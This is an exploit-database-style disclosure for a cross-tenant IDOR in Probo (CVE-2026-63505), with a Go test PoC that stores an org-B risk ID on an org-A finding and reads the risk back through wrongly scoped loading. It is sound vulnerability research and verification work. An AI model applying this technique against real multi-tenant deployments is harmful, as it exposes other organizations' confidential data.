# Exploit Title: Probo 0.222.2 - IDOR
# Date: 2026-07-17
# Exploit Author: Pig-Tail (Jorge González Milla)
# Vendor Homepage: https://github.com/getprobo/probo
# Software Link: https://github.com/getprobo/probo
# Version: <= 0.222.2 (fixed 0.223.1)
# Tested on: Linux
# CVE: CVE-2026-63505
# Category: webapps
# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo
Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored without a tenant-scoped load, and the read resolver authorizes the parent while the dataloader scopes by the child's own GID -> cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres.
The PoC is a benign, local verification harness (sentinel-based; no network attack, no
persistence, no destructive payload). Run against a local instance of the affected version.
--- PoC (idor_test.go) ---
package idorpoc
import (
"context"
"fmt"
"testing"
"time"
" http://github.com/stretchr/testify/require "
" http://go.gearno.de/kit/pg "
" http://go.probo.inc/probo/internal/test "
" http://go.probo.inc/probo/pkg/coredata "
" http://go.probo.inc/probo/pkg/gid "
)
// TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant
// IDOR in the Finding->Risk relation (console v1):
// - Write gap: http://FindingService.Create/Update (finding_service.go:147,248) store
// req.RiskID with no scoped validation; coredata Finding.Insert has no tenant
// FK on risk_id. => an org-A finding can reference an org-B risk.
// - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the
// *finding* (org A), then the dataloader (dataloader.go:223) scopes by the
// *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk.
// Benign marker: a sentinel risk name created in org B is read back through the
// org-B-scoped load that the resolver uses.
func mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) {
t.Helper()
tenantID := gid.NewTenantID()
orgID := gid.New(tenantID, coredata.OrganizationEntityType)
now := time.Now()
err := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error {
_, err := tx.Exec(ctx,
`INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5)`,
orgID.String(), tenantID.String(), "org-"+orgID.String(), now, now)
return err
})
require.NoError(t, err)
return tenantID, orgID, coredata.NewScope(tenantID)
}
func TestFindingRiskCrossTenantIDOR(t *testing.T) {
client := test.PGClient(t)
ctx := context.Background()
tenantA, orgA, scopeA := mkOrg(t, client)
tenantB, orgB, scopeB := mkOrg(t, client)
_ = tenantA
const sentinel = "SECRET-ORG-B-RISK-do-not-disclose"
riskB := &coredata.Risk{
ID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB,
Name: sentinel, Category: "confidential", Treatment: coredata.RiskTreatmentMitigated,
Note: "internal", InherentLikelihood: 3, InherentImpact: 3,
ResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(),
}
require.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {
return riskB.Insert(ctx, tx, scopeB)
}), "seed org-B risk")
// --- WRITE GAP: create a finding in org A referencing org B's risk ---
findingA := &coredata.Finding{
ID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA,
Kind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen,
Priority: coredata.FindingPriorityMedium,
RiskID: &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId
CreatedAt: time.Now(), UpdatedAt: time.Now(),
}
writeErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {
return findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does
})
require.NoError(t, writeErr, "WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded")
t.Logf("WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)", findingA.ID, riskB.ID)
// --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) ---
loaded := &coredata.Risk{}
readErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {
// exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID)
return loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID)
})
require.NoError(t, readErr, "READ GAP: risk should not be loadable by an org-A request")
require.Equal(t, sentinel, loaded.Name)
t.Logf("READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)", loaded.Name)
// --- CONTRAST: proper org-A scoping would NOT find org-B's risk ---
contrast := &coredata.Risk{}
cErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {
return contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope
})
require.Error(t, cErr, "CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)")
fmt.Printf("\n=== CROSS-TENANT IDOR CONFIRMED ===\norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)\n", sentinel, cErr)
}